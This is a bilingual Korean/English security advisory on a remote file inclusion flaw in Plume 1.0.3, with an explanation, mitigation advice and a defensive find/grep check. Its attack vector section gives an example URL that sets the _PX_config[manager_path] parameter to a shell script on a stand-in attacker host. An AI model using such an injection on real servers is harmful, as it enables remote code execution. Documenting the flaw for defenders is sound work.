🇰🇷 한글 설명
Plume 1.0.3의 manager/frontinc/prepend.php에서 _PX_config[manager_path] 파라미터에 대한 원격 파일 포함(RFI) 취약점입니다. 공격자가 원격 서버의 악성 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Plume 블로그 시스템에서 설정값을 통해 외부 파일을 불러올 수 있는 보안 결함입니다. 해커가 악의적인 코드를 원격 서버에 두고 이를 실행하게 만들 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in manager/frontinc/prepend.php for Plume 1.0.3 allows remote attackers to execute arbitrary code via a URL in the _PX_config[manager_path] parameter. NOTE: this is a different executable and affected version than CVE-2006-0725.
⚔️ 공격 벡터
_PX_config[manager_path] 파라미터에 원격 파일 URL 주입 (예: ?_PX_config[manager_path]=http://attacker.com/shell.php)
🛡️ 대응 방법
Plume을 최신 버전으로 업그레이드하거나 입력값 검증 및 파일 포함 제한을 적용하여 로컬 경로만 허용
🔧 검증 코드
취약한 prepend.php 파일이 존재하면 경로가 출력되며, 해당 파일의 manager_path 파라미터 검증 코드를 확인하여 원격 파일 포함 방어가 적용되었는지 검토
find /var/www -name 'prepend.php' 2>/dev/null | xargs grep -l '_PX_config\[manager_path\]' 2>/dev/null